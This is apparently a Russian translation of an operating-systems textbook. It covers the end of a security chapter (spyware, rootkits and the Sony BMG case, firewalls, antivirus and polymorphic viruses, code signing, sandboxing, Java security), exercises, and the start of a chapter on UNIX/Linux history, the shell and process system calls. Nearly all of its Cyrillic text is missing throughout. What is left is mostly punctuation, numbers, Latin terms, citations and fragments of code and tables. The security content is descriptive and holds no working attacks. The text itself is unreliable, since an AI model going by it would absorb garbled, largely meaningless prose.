10 000 , 3 () 400 . , , 150 000 . .
, , -
. , -
. , .
.

CERT (Computer Emergency Response Team),
,
.
, . CERT , ,
. . ,
(, )
(
) , .
.
, ,
. , .

9.9.4. -
,
- (spyware). , ,
,
, . ,
. , Windows Update Windows-, .
. .

746

9.

(Potter Stewart), , , :
-, , 1.
(-,
). (Barwinski et al., 2006) , -
. -, ,
- . -, (
-, ). -,
. -, . , -
, .
(Barwinski et al., 2006) -
. :
,
. ,
,
, - .
, -,
.
, - -, 5000 -. ,
- -, , ,
.

(Moshchuk et al., 2006). 18 URL-, 6 %
-. , , AOL/NCSA, , 80 % -, 93
. , , ,
,
,
.

-
: ? , :
.
, .
,
1

1958 1981 . , , ,
, , , :
, .

9.9.

747

(, Kazaa), . , -
, -,
-.
(drive-by download).
- ( )
-.
. : -
(.exe) . , ,
, . ,
. , -
, .
. Internet Explorer,
Firefox . - , ,
.
. ,
Alexa. , ,
.
. , Microsoft,
activeX.
x86, Internet Explorer
, , - . , . , ,
-.
IE (Internet Explorer), Firefox, Chrome, Safari .
activeX
IE. , - .
,
- (, ,
) IE ,
.
, . - IE
activeX , ,
-. :
, ?

, (Yes)
.
, .
- ( ), -

748

9.

- (CA),
. , ,
CA , . -,
-. ,
, activeX,
- , , activeX, -.
,
(Yes).
(No), - ,
IE, -. ,
activeX, IE . , (
IE),
, .
- 2030 , ,
, ,
. , -,
(
). :
,
, , .

, -
, -. .
1. .
2. ( ).
3. .
4. , .
5. .
6. Windows.
7. - , -.
8. Windows.
9. ,
.

9.9.

749

, , ,
.
(browser hijacking).
. , ( , -) ( -,
-).
. ( GIF- 468 60)
- , - , -.
: , ,
ad infinitum ( ), . , -
, - .
- , , . ,
, ,
. - - .
- (adware), ( ) : ,
, , .
, .

9.9.5.
(rootkit) ,
, . ,
, . , ,
-, , .


. : ?.
1. . BIOS ,
. , BIOS.
, ,
.

750

9.

2. -. ,
. ,
( ),
(Joanna Rutkowska) 2006 . , , ,

,
. , , , ,
, ,
, .
3. . ,
.
, ,
.
4. . , ,
, libc Linux.

, .
5. . , ,
, ,
( , . .). , ,
.
, , . 9.26.

. 9.26. ,

, -. , -
PCI 100
. , , :
- , -

9.9.

751

.

. ,
,
.
, , , ,
, .
,
1 , 1 . ,
, ,
.
,
-, .
(,
),
.
-
, . , , .
, ,
$$$, , , .
, DVD
- USB. ,
, , .
,
, . , - USB,
- DVD .
, ,
-
USB -.
, . , , : !.
, , , .


, , , . ,

752

9.

,
. , ,
, , ,
, , , .
.
, ,
,
, .

. (Garfinkel et al., 2007) , . (Carpenter et al., 2007) .
,
. , TLB,
.
TLB,
.
, . , , : .
, .
.
, ,
. , .

Sony
2005 Sony BMG -, . (Mark
Russinovich) ( -,
Windows, www.sysinternals.com), ,
. ,
.
(Arnab and Hutchison, 2006; Bishop and Frincke, 2006; Felten
and Halderman, 2006; Halderman and Felten, 2006; Levine et al., 2006). ,
, .
.
- Windows, autorun.inf,
, , - (, ). -
, -
. , Sony , , autorun.inf
-, , ,

9.9.

753

12 .
, . Sony
- 200 ,
, . ,
, , .
, .
. Windows
, $sys$. ,
-
, Sony, -.
- .
, ,
, $sys$ ( ,
Sony ), . .
, ,
, 20 -.
(Dan Kaminsky, 2006) , 500 000
.
, Sony , . National Public Radio (Thomas Hesse), Sony BMG, : , ,
, , ?
, Sony ,
$sys$-, .
Sony - ,
,
, Sony
( ).
, , Sony ,
. ,
(
).
Sony .
-, (
). 39 . 2006 ,
Sony 4,25 ,
-

754

9.

.
2007 Sony ,

.
Sony , , 150 .
Sony ,
, ,
. , Sony
rootkit.

9.10.
- ? - ,
,
.
(defense in depth).
,
, .
, ,
,
.
, , .

. .
, ,
,
.

9.10.1.
, ,
, , , . , : .
,
, , - . ,
, , .
, , .
(firewall),
:
. ,

9.10.

755

, ,
-. :
, ,
, ,
.
: .
, , , , . .
. 9.27.
( ) ,
.
.
, ,
,
.

. 9.27. ,

, ,
. ,
- (
--). ,
(stateless firewall),
, ,
, .
IP- ,
, . , .
, . 9.27, ,
IP-, 207.68.160.x, x 190, 191 192 . , , . 16- ,
, ( ).
. , 80 -,
25 , 21 FTP ( ),
, .
:

756

9.

IP-
207.68.160.190
207.68.160.191
207.68.160.192
*

80
25
21
*

207.68.160.190,
, 80,
.
, 25 21
. .
, .
, . , - apache , , URL- IP- 207.68.160.190
80 , ,
,
.
, .
- ,
, , 9876,
,
, . , ,
, ,
,
.
, ,
. ,
. , .
, , , (stateful firewalls), , .
, ,
.
(Intrusion Detection System (IDS)),
, .
,
(personal firewalls), , , . , , .

9.10.2.
,
, .

9.10.

757


, (antivirus programs),
-. , , -.
, ,
,
, .
, , ,
, , .


,
, , ,
. ,
. ,
.
,
(goat file), .
. , .
, ,
.
,
,
. -,
.
10 000 10 000 , ,
, .

, , ,
- .
, ( ), ,
, , .
, , : !
xyz.exe lahore-9x. ?.
, . , .
,
. .
, , , ,
() , .
, ,
, - , -

758

9.

. ,
, .
, , .

, .
. -.

.
, . . 9.28,
. ,
. , , (. 9.28, ). ,
,
, .
. 32-
, , (XOR) , , 72 008
319 992. XOR ,
,
(. 9.28, ). .
, ,
. , ,
, ,
.
,
, , , -

. 9.28. : ; ; ;
;

9.10.

759

,
. , :
(. 9.28, ).
.
, ,
. , .
, . ,

X = (A + B + C 4).
. 9.29, . , ,
MOV A, R1 A R1. . 9.29,
, , NOP
(no operation) .
. . : , ,
,
, . . 9.29,
, . 9.29, .
, . 9.29, , ,
. 9.29, , . ,
, (polymorphic virus).
, R5 . , . 9.29, , ,
. 9.29, . ,
. , , ,
. 9.29, , , . 9.29, .
,
, (mutation
engine), . ,
, ,
.
.

. 9.29.

760

9.

, , . 9.29, , ,
. 9.29, ,
,
.
, , , , , , ,
.
, Y ,
, , R5, , .
Y,
. ,
, . , ,
, ,
.
.
, , , -,
CMOS- . ., , ?
. , ,
. ,
( ). , .
,
. ,
, .
, ,
. SATA, USB, SCSI
,
,
. ,
,
, ,
.


(integrity checking). , ,
. ,
, .

32- 64- ,
,

9.10.

761

.
checksum .
, , checksum. .
, .
, checksum. , ,
checksum.
checksum, , , ,
, , . ,
.
- , .

,
, ,
(behavioral checking).
. ,
, . ,
, .
-.
. , , .
,
, ,
. Word,
.docx
, . Windows
, . - ,
, , .
, ,
, . . ,

. Core Wars,
,
. ,
, .
- ,
- ,
. , ,
, .
, , .

762

9.


. :
.
, , , .
, ,
, .
, ? -, , ,
.
-
. , .
-, ,
. , ,
- , .
- ,
, , .
-,
. - .
-, URL- , . , ASCII-, ,
.
-,
, USB- DVD. . ,
, ,
.
, .
, -,
. ,
, -. ,
.

. -, . , .
.
-, . JavaScript.
. -
-

9.10.

763

. , JPEG- ,
. .
-,
,
.
, , .
,
.
-, - BIOS ,
, , BIOS. , ,
- . , ,
. , .

9.10.3.
(
) .
: ,

? , -
activeX -.
activeX , , , .
?
, ,
, .
, , , activeX ,
, - .
, , ,
Snarky Software , ,
, , .
. ,
, . ,
- , 160- 256-
, - , SHA-1 SHA-256.
-, (
, . 9.13).
.

764

9.

, , . , ,
-, ,
. , .
.
, -
-, .
,
, .
. 9.30.

. 9.30.

- , activeX,
. ,
. , ,
, - ,
.
, . ,
, , .

9.10.4.
: , . ,
. - ,
,
, .
(jailing) . 9.31.

9.10.

765

. 9.31.

,
. () ,
. -
,
( ),
. ,
. , , - , , ,
. ,
, .
.
. ,
UNIX- , (Vant
Noordende et al., 2007). UNIX, , .

.

9.10.5.

(Intrusion Detection System (IDS)). IDS, , , .
IDS ,
IDS. , ,
IDS. ,
, . (static model-based intrusion
detection) (Hua et al., 2009). , , .
. 9.32, , data
,

766

9.

.
. . 9.33, , ( printf write).

. 9.32. ;

, - ,
.
, , , . , - ,
,
. , ,
, , ,
. .
,
IDS.

( ).
,
. , ,
.
,
(mimicry attack),
, , , , .
IDS .

9.10.

767

IDS, , .
IDS (honeypot), ,
. , .
,
. IDS
, . , ,
, .

9.10.6.
, .
.
. ( ) -
HTML- . - ,
(applets). -, ,
. ,
. ,
- .
,
.

(agents). , . ,
-
-.
, ,
-. ,
, .
PostScript, PostScript-. PostScript
PostScript, .
, , - . ,
PostScript
(mobile code).
,
, , . - ,
: ?
, , . ,

768

9.

,
,
, , ,
.
,
.
,
(UID),
, , . ()
.
, .
, .
, - , -. - , ,
. . ,
. ,
,
, , .

( ). :
.
.
.

, (sandboxing),

(Wahbe et al., 1993). ,
.
. 32-
256 16- ,
.
512 8- , 9- . ,

.
, , ,
. . 9.33, ,
: , , 16
16 .

9.10.

769

. 9.33. , 16 ;

.
,
. , , .
, ,
- .
, .
, . (
JMP CALL), .
JMP, , . : ? JMP,
. ,
, .
.
JMP.
, ,
, , JMP(R1) , 1.
.
,
. . 9.33, .
, k , , S2.
, ,
.

770

9.

. S1.
, , S1.
,
S2. , . .
, . ,
,
, .
. (Wahbe et al., 1993) 4 %, ,
-, .
, , . .
, (reference
monitor), ,
(, , ,
).
,
. , , , ,
. , ,
, . , , -
, .
.


. -. -
Java ,
safe-TCL JavaScript. Java- , JVM (Java Virtual Machine Java). JVM- -.
JVM- (. 9.34).

, .
. ,
.
. , (, ),
. (,
), , .

9.10.

771

. 9.34. -

. , ,
.

.

9.10.7. Java
Java
,
, Java. Java
. .
Java , . ,
, .
C:
naughty func( )
{
char *p;
p = rand();
*p=0;
}

p.
, p, , ,
. Java ,
, . , Java -,
, , (,
malloc free), .
Java- , JVM. JVM 100 ,
,
. JVM-, , , -

772

9.


. Java ,
, JVM-.
- JVM
.
, JVM- JVM.
:
1. ?
2. ?
3.
?
4. ?
5.
?
, ,
.
Java (), . , Java, . Java, JDK (Java
Development Kit Java-) 1.0,
: . , ,
.
, , .
, . 9.33, .
, Sun ,
. JDK 1.1
. , ,
, ( ).
, , ,
.
, . JDK 1.2
, ,
, , . , (Gong,
1999),
. : ,
, . , , URL, ,
, , . ,
. URL, ,
, , URL

9.11.

773

. . 9.3, -
Java.
9.3. , JDK 1.2
URL

www.taxprep.com

TaxPrep

/usr/susan/1040.xls

/usr/tmp/*

/usr/susan/Office/

, ,

*
www.microsoft.com

Microsoft

. ,
, . . 9.3
.
, ,
, www.taxprep.com, , 1040.xls.
, .
, ,
, /usr/tmp.
, Microsoft , ,
, ,
, Office , , .
,
, ,
, .
. . .
IP- DNS-; .
, . , ,
,
.
(),
,
. .

9.11.
.
: , , , , . . -

774

9.

, , , .
. , ,
ROP, Control Flow Integrity (CFI). ,
.
ASLR, DEP
CFI.
, Zhang Sekar (2013) -
CFI Linux.
Windows (Zhang,
2013b).
, , , (Slowinska et al., 2012).
. , , ,
.
. Google AddressSanitizer (Serebryany, 2013).
, ,
, .
.
, (,
. .) . ,
.

Bogdanov Lee (2013).
-
. , ,
seL4 (Klein et al., 2009). , ,
.
UNIX. Robert Watson et al. (2013)
FreeBSD.
,
. , Hund . (2013) (timing channel attack),
Windows. Snow ..
(2013) , ,

. , , Rossow . (2013),
. ,
, .
.

9.12.

775

9.12.
,
, , -, . ,
, ,
. ,
.

.
, (),
(, ). . - ,
, , ,
, ,
, .

. -
, , , .

.
. , ,
- , .
, .
, , ,
.
.
- , -
- .
,
.
,
. , ,
, , ,
,
libc, , , , TOCTOU-.
.
, ,
.
, ,
. -

776

9.

, ,
, .
, ,
, , - .
. ,
-, .
- -.
, .
, .
, , , ,
, ,
.

1. ,
. , , , ,
, ,
, , .
2.
TCB.
TCB
TCB:
) ;
) ;
) ;
) ;
) GPS- .
3. ?
?
4. , . , -
?
5. , 5000 100 . 1 % ( ,
r, w x ) , 10 %
, 89 % . ,
( r, w x)
.
,
ACL- ?

777

6. ,
:
a) ;
) ;
) , ,
;
) , ,
.
7. : . ,
:
) , , ;
) ;
) , .
8. ,
UNIX, .
: asw : users devel,
gmw users.
,
( ) (
):
rwrr
rwxrxrx
rwrw
rwr

2
1
1
1

gmw
asw
asw
asw

users
devel
users
devel

908
432
50094
13124

May
May
May
May

26
13
30
31

16:45
12:35
17:51
14:30

PPPNotes
prog1
project.t
splash.gif

9. , ,
ACL-.
10. ACL- , rwx UNIX. .
11. , , 1, 2 3. A B 1, C D 2, E F 3. 1 2
1, 3 4 2, 5 6 3.
,
, .
) 1 D;
) 4 A;
) 3 C;
) 3 C;
) 2 D;
) 5 F;
) 6 E;

778

9.

) 4 E;
) 3 F.
12. Amoeba
,
. ,
, - ?
13. , . 9.9, B 1.
? ,
?
14. , . 9.9, , ? ,
, B?
15. , . 9.12.

R, G B. , ,
,
.
16. .
.
kfd ktbdfzm eubdkfdpzyiom mztxku kzyg ur bzha kfthcm
ur mfudm zhx mftnm zhx mdzythc pzq ur ezsszcdm zhx gthcm
zhx pfa kfd mdz tm sutythc fuk zhx pfdkfdi ntcm fzld pthcm
sok pztk z stk kfd uamkdim eitdx sdruid pd fzld uoi efzk
rui mubd ur om zid uok ur sidzkfzhx zyy ur om zid rzk
hu foiia mztxkfd ezindhkdi kfda kfzhgdx ftb boef rui kfzk

17. , 26 26 , A, B, C, ..., Z.
. , . .
?
18. . n , A B. n
A. A[0] B[i], A[1] B[j], A[2] B[k]
. . n B,
, A n .
, . ,
,
.
?
.
19. ,
, ,
. ,
, ,

779

.

?
20. , .
21. , , A B, , , .
, , C,
.
?
22. - .
, - (, -).
?
23. ASCII 50 %. ,
, ASCII ( ) 1600 1200 ,
?
(,
)? ,
?
24. , , , ,
.
, ,
. ?
25. www.cs.vu.nl/~ast covered writing. , . :
) ?
) ?
) ?
26. ,
, -
. ,

,
?
27.
,
-

780

9.

UNIX. ,
15 , , : ,
, . ?
28. n- () ,
. ,
? ,
.
29. , .
,
n- (),
, ?
30. , ,
.
31. : -,
, -, , -, .
,
. , ,
( ) , , .
?
32.
, UNIX.

rexec machine4 who

machine4
. ,
UID
. ? ,
,
?
33. .
f(s), f(f(s)) . .?
34. - MMU
, . 9.21? , .
35. .
36. TOCTOU-
. . ,
?

781

37. C,
. ?
38. ,
, ?
39. ,
. , ?
,
.
40. :
) , ,
;
) ,
?
41. , . ,
?
42. , 9.2, C.
43. . 9.28, . , ,
?
?
44. . 9.28, , .
.
?
45.
.
46.
:
) ;
) ;
) fdisk ;
) -;
) .
, .
47. UNIX (
)? , ?
, ?
48.
,

782

9.

. .
49. , , ?
50. , ,
?
51. , , .
52. ,
. ,
, .
53. SHR, ,
. 9.33, , ,
.
? ,
?
54. , ,
, . ,
.
, . , , . ?
55. , Java , C,
.
56. , JDK 1.2.
( . 9.3), - www.appletsRus.com
. - www.
appletsRus.com, /
usr/tmp/, /usr/me/appletdir.
57. ?
?
58. C
UNIX.
: ,
, sleep , .
.
.
59. UNIX
DES. , , -

783

DES 25 . DES
,
. ,
. 16- .
60. , ACL. , ACL-, :
) ;
) ;
) ;
) ;
) (
, r, w, x);
) ;
) ;
) .
61. , 9.7.1,
, , . .
62. , , 9.9.2, ,
. , ,
- .
.

10.
:
Unix, Linux Android

, , .
, , .
Linux ( UNIX),
.
,
( Android
Linux) .
.
UNIX Linux.
Linux, , . ,
Windows,
. ,
, .
,
-, Linux.
, , ,
.
: Linux? Linux
UNIX, UNIX, AIX,
FreeBSD, HP-UX, SCO UNIX, System V, Solaris . ,
( ). , ,
, .
, .
Linux
( ), ,
, , ,
UNIX-. UNIX
, (Love, 2013; McKusick and Neville-Neil,
2004; Nemeth et al., 2013; Ostrowick, 2013; Sobell, 2014; Stevens and Rago, 2013; Vahalia,
2007).

10.1. UNIX Linux

785

10.1. UNIX Linux


UNIX Linux ,
. , , ,
, ,
. , .

10.1.1. UNICS
1940- 1950- ,

. , , ().
1960- ,
. , .
.
,
.
- , ,
. , BASIC,
, .
, CTSS, , .
Bell Labs General Electric
( General Electric )
MULTICS (MULTiplexed Information and Computing Service
),
1.
Bell Labs
MULTICS, ,
, (Ken Thompson), - . ( )
MULTICS, - PDP-7. PDP-7,
.
Bell Labs, (Brian Kernighan),
- UNICS (UNiplexed Information and Computing
Service ).
MULTICS (-
EUNUCHS, ),
, UNIX.

786

10. : Unix, Linux Android

10.1.2. PDP-11 UNIX


Bell Labs
, (Dennis Ritchie),
. . -, UNIX PDP-7
PDP-11/20, PDP-11/45 PDP11/70. -
1970- . PDP-11/45 PDP-11/70
(256
2 ). , ,
.
16- ,
64 64 ( ).
,
UNIX. ,
,
UNIX , B. B BCPL (,
, CPL, PL/1, ).
- B -
. ,
B, , , C, . UNIX C. C
, ,
.
1974 UNIX (Ritchie and Thompson, 1974).
(ACM)
(Ritchie, 1984; Thompson, 1984).
, Bell Labs
UNIX. AT&T,
Bell Labs,
, ,
UNIX.
( )
PDP-11
, , ,
. UNIX , ,
( ).
UNIX , , .

UNIX ,
. UNIX Version 6,

10.1. UNIX Linux

787

, UNIX Programmers Manual.


8200 C 900 .
.
Version 6 Version 7,
UNIX (
PDP-11, Interdata 8/32). 18 800
C 2100 . Version 7 ,
, , . 1980-
UNIX -
. , UNIX.
Microsoft, Version 7 XENIX, .

10.1.3. UNIX
UNIX C,
( ) , , .
C.
- , ,
. C,
, . , ( , ) - ,
.
, , -
Interdata 8/32. , UNIX
, , :
16 , 16 (
64 )
. - Interdata 8/32,
UNIX .
, , PDP-11.
Interdata 8/32,
(Steve Johnson) Bell Labs C.
,
. C (
PDP-11) , UNIX .
- Interdata 8/32 ,
PDP-11,

788

10. : Unix, Linux Android

UNIX. , PDP-11
, Interdata 8/32 .

, , , . -, , : .
? UNIX .
Interdata UNIX VAX, .
1984 AT&T,
,
. AT&T UNIX System III. ,
, System V.
System IV, . System V 2, 3 4 System V,
, . , UNIX
, .
8, 9 10- UNIX,
, AT&T System V.
8, 9 10- System V. ,
AT&T , ,
, 1993 UNIX Novell, 1995 Santa Cruz Operation.
, ,
.

10.1.4. Berkeley UNIX


, UNIX Version 6 .
, .
- (Advanced Research Projects Agency (ARPA))

UNIX - PDP-11, 1BSD (First
Berkeley Software Distribution ,
1- ). 2BSD, PDP-11.
3BSD 4BSD
VAX. AT&T
VAX, 32V, Version 7. 4BSD .
,
, , (
).
14 .
, . -

10.1. UNIX Linux

789

. ,
4BSD TCP/IP - UNIX, , UNIX.
UNIX ,
vi csh, Pascal Lisp
. , (Sun Microsystems, DEC .)
UNIX Berkeley UNIX, System V
AT&T. Berkeley UNIX , .
Berkeley UNIX McKusick et al. (1996).

10.1.5. UNIX
1980- - UNIX: 4.3BSD System V Release 3. ,
.
UNIX ,
,
UNIX,
UNIX , UNIX (
, , MS-DOS).
UNIX . , AT&T
SVID (System V Interface Definition UNIX System V), , . .
System V,
(BSD), .
UNIX

(IEEE Standard Boards), , , . , . POSIX. Portable
Operating System . IX
, .
, POSIX ,
1003.1. ,
UNIX.
, . open, read, fork.
POSIX , ,
1003.1 ,
, UNIX, .
, , ,
, 1003.1

790

10. : Unix, Linux Android

, .
System V BSD (
), IEEE
. : -
System V, BSD, , .
1003.1 System V
BSD, Version 7. 1003.1 ,
,
, ,
.
1003.1 ,
, , ,
UNIX. , C
(ANSI)
ISO.

10.1.6. MINIX
UNIX- : ,
UNIX . (
),
. , , ,
,
. 11 800 C
800 . 1987 Version 7 UNIX,
PDP-11.
MINIX , . ,
. .
, . 1600 C 800 . ,
Intel 8088, -
( 2900 C) .
(5100 C) (2200 C)
.
,
( ). ,
,
, .
,

10.1. UNIX Linux

791

.
. UNIX
X Windows , , (
Windows,
). Mach (Accetta et al., 1986) Chorus (Rozier et al., 1988).
MINIX - comp.os.minix 40 000 .
, MINIX
,
, . 1997 2.0 MINIX.
, 62 200 .
2004 MINIX ,
,

.
1 MINIX 3.0
,
( ). ( 4000 , ).
.
, MINIX 3.0 650 UNIX,
X Window System ( ), ( gcc), ,
, - . (
), MINIX 3.0 ( ).
: (No more reset buttons).
Operating Systems: Design and Implementation,
(Tanenbaum and Woodhull, 2006).
. ARM .
, www.minix3.org.

10.1.7. Linux
MINIX
( ) ,
(
, ). .
FreeBSD . ,
(Linus Torvalds) UNIX,

792

10. : Unix, Linux Android

Linux. ,
MINIX . 0.01 Linux 1991 .
MINIX MINIX ,
. MINIX, Linux
, .
9300 C 950 , MINIX , .
MINIX ,
.
Linux
UNIX ,
. Linux
Intel 386 (
386- C),
, UNIX. Linux UNIX:
gcc, ,
ANSI C-.
, gcc ,
,
LLVM,
. LLVM C,
Linux , , ANSI.
Linux 1.0,
1994 . 165 000 ,
BSD TCP/IP.
.
.
Linux UNIX,

UNIX, . ,
Linux ,
( ).
, 2.0, 1996 .
470 000 C 8000 .
64- , ,
.
.
.
Linux : A.B.C.D (, 2.6.9.11).
. .
2.6 , -

10.1. UNIX Linux

793

( ). 2.6 .
(, ).
.
2011 Linux 3.0, - -
, 20- . 2013 Linux 16 .
Linux
UNIX, X Windows
. , Linux
:
GNOME KDE. , Linux UNIX
, UNIX.
Linux -:
. -, www.kernel.org.
Linux , ,
(Free Software Foundation).
Linux , , GPL (GNU Public License
GNU), Microsoft
Windows ,
. , ,
.
(
Linux) . ()
, .
,
, Linux MINIX,
BSD GNU. Linux
Linux ( ,
, Linux , , , ). ,
Linux
CD-ROM-, . - www.linux.org
100 , Linux1.

Linux Linux ,
.
, Linux ,
AT&T. 1992
, , BSD UNIX
4.4BSD ( FreeBSD).
AT&T, 1

, Linux
www.distrowatch.org. . .

794

10. : Unix, Linux Android

,
, , . UNIX AT&T
, , . BSDI, BSD
UNIX (
Red Hat Linux). AT&T ,
, , 1-800-ITSUNIX BSDI. , FreeBSD
, Linux .
, 1993
UNIX,
: BSD (
1977 )
Linux ,
.
, UNIX.

10.2. Linux
Linux,
, , , . UNIX ( ). Linux ,
, Linux
(shell) . .

10.2.1. Linux
UNIX ,
.

, ( ) .

, UNIX ,
. , , ,
,
, UNIX
. , Linux
,
.

10.2. Linux

795

?
, , , . ,
. , , . . (
) .
ls A*

, A,
rm A*

, A,
, A .
(principle of least surprise).
, , , , . ,
, , . Linux
,
. ,
.
, . copy, cp,
? .
, ard, f,
Linux
grep ard f

, grep ( ), grep
: , grep. . ,
. , grep . , - . , ,
, , .
, . , .

10.2.2. Linux
Linux (. 10.1). ,
, , , , . .

. , , .
, ( )
. C

796

10. : Unix, Linux Android

. 10.1. Linux

, ,
. ,
C. , .
, read, C
read. , POSIX
, . ,
POSIX ,
, ,
.
.
Linux
, POSIX 1003.2,
Linux. (), , , .
. ,
Linux: , ,
.
Linux ,
, .
Linux .
Linux
, UNIX 70-
Macintosh

10.2. Linux

797

Windows . , , ,
, . , ,
. Linux
GNOME (GNU Network Object Model Environment) KDE (K Desktop Environment).
Linux X
Windowing System, 11 ( ).
UNIX . - ,
, , ,
.
(xlib), -.
11, , ,
, . - ,
,
.
Linux-
, . .
, xterm,
.
.

10.2.3.
Linux ,
-
, (shell).

. ,
,
- .
bash. UNIX,
(Bourne shell, ,
Bell Labs.), Bourne Again
SHell. (ksh, csh . .), bash
Linux-.
, ,
( ) , .
,
, . ,
, , ,

798

10. : Unix, Linux Android

. .
. ,
. , ,
, .
,
. ,
cp src dest

cp , src dest.
.
dest.
.
head 20 file

20 head 20
file ( 10 ).
. , ,
, ,
head 20 file

. head 10
20, 10 file.
Linux- .
,
(magic charecters), (wild
cards). , ,

ls *.c

ls ,
.c. x.c, y.c z.c,
ls x.c y.c z.c

,
. , ,
. ,
ls [ape]*

, a, p e.
, , ( ), .
, (standard input), ,
(standard output), , (standard error).
,
, (

10.2. Linux

799

) . Linux-
. ,
sort

sort, ( Ctrl+D, ),
.
, . < > .
. ,
sort <in >out

sort in
out. , . ,
,
, .
, :
sort <in >temp; head 30 <temp; rm temp

sort, in temp. ,
head, 30 temp
, . ,
temp . .
,
, . temp.
Linux .
sort <in | head 30

, (pipe symbol),
, sort head, , . , ,
(pipeline) . :
grep ter * .t | sort | head 20 | tail 5 >foo

, ter , .t, .
20 head, tail, ( 16- 20- )
foo. , Linux
(), ,
, .

800

10. : Unix, Linux Android

Linux .
, .
. ,
wc l <a >b &

wc,
( l) a b, . ,
. , :
sort <x | head &

.
,
.

, . ,
, (shell scripts).
.
if, for, while case. ,
,
. Berkley C, , ( )
C.
, . , .

10.2.4. Linux
() Linux
, . ,
:
1. .
2. .
3. , .
4. .
5. .
6. .
POSIX 1003.1-2008 150 , .
, ,
Linux.
,
-, ,
, . .

10.2. Linux

801

,
.
cp a b

a b, .
mv a b

, a b, . , .
cat,
. rm. chmod
. mkdir rmdir.
ls. ,
. ,
(, , , ), , ( ,
, ),
. .
: grep
( ) , ; sort
; head
; tail, , .
, 1003.2 , cut paste,
, od ( ) ASCII- ( ,
), tr (,
), pr ,
, . .
gcc C
ar, .
make,
, . , (header
files), , , .

include. ,
. ,
, , . make
, ,
, ,
. Linux, ,
make.
POSIX . 10.1 .
Linux , .

802

10. : Unix, Linux Android

10.1. Linux, POSIX

cat

chmod

cp

cut

grep

head

ls

make

mkdir

od

paste

pr

rm

rmdir

sort

tail

tr

10.2.5.
. 10.1 Linux.
(
).
- ,
. (. 10.2)
( )
.
.
, . ,
.
.
. - . 10.2 ,
,
- . (Virtual File System
(VFS)). (
) , . - - . Linux

10.2. Linux

803

. 10.2. Linux

, ,
,
.
, , (
).
. .
, vi emacs,
- . -
(tty). (, )
, ,
Enter .

( ).
,
.
, . Linux
(
, ). , IP TCP,
.
, ( ).
.

804

10. : Unix, Linux Android

-, ,
( ).
. Linux
.
,
.
. 10.2 Linux. .
,
, ( ), ( ) .
. ,
, (, ) . , Linux
. .
,
. .
( ).
(, )

. , ( ,
),
-. .
Linux .
, , , .
. 10.2 .
.
,
.

10.3. Linux
Linux , ( , xterm).
.
.

10.3. Linux

805

, Linux, : , , -.
,
. , , , -.
, Linux,
.
, - . ,
( , ) , .

10.3.1.
Linux .
Linux , 2.
. , ,
. Linux
( , ).
Linux
. , ,
. ( - )
, (daemons).
.
cron. , ,
- . , ,
( ).
Linux , ,
. , ,
15.00 .
cron, , , 14.30.
, cron , , ( ).
cron , 4.00
31
. ,
, , , . . Linux ,
, .
Linux .
fork ,
(parent process). (child
process). () -

806

10. : Unix, Linux Android

. - , ( ).
.
, -
fork, .
, , .
,
, .
, , ,
, : , , ?
, fork 0,
PID (Process IDentifier ) .
, 10.1.
10.1. Linux
pid = fork( );
if (pid < 0) {
handle_error();

/* fork , pid > 0


*/
/* fork (,
- ) */

} else if (pid > 0) {


/* */
} else {
/* */
}

PID-. , PID .
PID, getpid.
. , , PID
. ,
.
, , ,
.
Linux
. ,
, .
(pipes). .
, .
.

sort <f | head

, sort head,
, sort

10.3. Linux

807

head. , sort,
head, . ,
sort , head
- .
. (signal).
, , . : , , ( ).
,
. , .
,
, , ( -).
(process group), (
), , ( ).
.
. , 0 ( ,
), SIGFPE (Floating-Point Exception SIGnal ). ,
POSIX, . 10.2. Linux
, Linux UNIX.
10.2. , POSIX

SIGABRT

SIGALRM

SIGFPE

(,
0)

SIGHUP

, ,

SIGILL

Del,

SIGQUIT

SIGKILL

, ( )

SIGPIPE

SIGSEGV

SIGTERM

SIGUSR1

SIGUSR2

10.3.2. Linux
Linux, . . 10.3.

808

10. : Unix, Linux Android

fork. (
UNIX)
Linux ( ). , , .
fork (
) .
fork ,
( )
.
fork , , ,
(PID) , . , , .
10.3. , .
s 1; pid ;
residual .

pid=fork( )

pid=waitpid(pid, &statloc, opts)

s=execve(name, argv, envp)

exit(status)

s=sigaction(sig, &act, &oldact)

s=sigreturn(&context)

s=sigprocmask(how, &set, &old)

s=sigpending(set)

s=sigsuspend(sigmask)

s=kill(pid, sig)

residual=alarm(seconds)

s=pause( )

fork
. . , fork
, ,
( ).

waitpid, ( , ).
.
. 1,
.
, ( ,
). .

10.3. Linux

809

,
( ).

. exec, , .
,
fork, waitpid exec, 10.2.
exec :
, .
. , execl, execv, execle
execve, . .
exec,
( ).
10.2.
while (TRUE) { /* */
type_prompt( );
/* */
read_command(command, params); /* */
pid = fork( );
/* */
if (pid < 0) {
printf(" "); /* */
continue;
/* */
}
if (pid != 0) {
waitpid (-1, &status, 0); /*
*/
} else {
execve(command, params, 0); /* */
}
}


cp file1 file2

file1 file2. , cp .
cp ( )

main(argc, argv, envp)

argc , .
argc 3.
argv . i- i- .
argv[0] cp. argv[1]
file1, argv[2]
file2.

810

10. : Unix, Linux Android

envp main (,
= ,
, ). 10.2
, execve
.
exec ,
. .
exit, .
( 0 255), status
waitpid. status (
).
( 0 255),
. ,
n = waitpid(-1, &status, 0);

, - . , , 4 ( exit),
n, PID , 0x0400 (
0x C ). status , , exit.
, ,
(zombie state)
, . , ,
waitpid, .
, . ,
, ,
.
(, Del Ctrl+C), . .
,
sigaction.
, (. . 10.2).
,
( ). ,
, .
. .
, , .
sigaction
, .

10.3. Linux

811

Del . kill . (kill , )


, ,
. , , .

, - ,
. alarm ().
,
SIGALRM. .
, alarm 10 , 3
alarm 20 ,
20 .
alarm. alarm ,
alarm. alarm , .
, .
, ?
, , . , ,
. , alarm,
30 . ,
. ( ) ,
,
. pause,
Linux .
, .

10.3.3. Linux
Linux : , ,
, . , . , .

. , ,
. ,
: ,
. ,
.
Linux (tasks)
task_struct. ( , ), Linux
.

812

10. : Unix, Linux Android

,
. ,
,
. ( )
.
task_struct.
,
( , . .).
( )
.
UNIX Linux
(Process Identifier (PID)).
. PID .
.
(, ).
( ,
).
( ). ,
, ,
.
.

, .
:
1. . ,
,
. , .
2. . : ,
. , . ,
, .
3. . , , , , , .
4. . ,
( ) .
5. . ( ).
6. . ,
, (i-node).

10.3. Linux

813

7. . ,
.
, , , ,
, .
8. . ,
.
9. . , ( ), , PID , PID , .
, , Linux .
.
, . PID,
. ,
. ,
.
fork, (, thread_info).

( ).
, Linux
, .
. Linux PID,
, - PID,
. .
task_struct, /
.
,
,
fork , . ,
( ).
.
, Linux- .
,
, . -
( ) , . , ,
, . ,
, .

814

10. : Unix, Linux Android

(copy on write). , .
, (
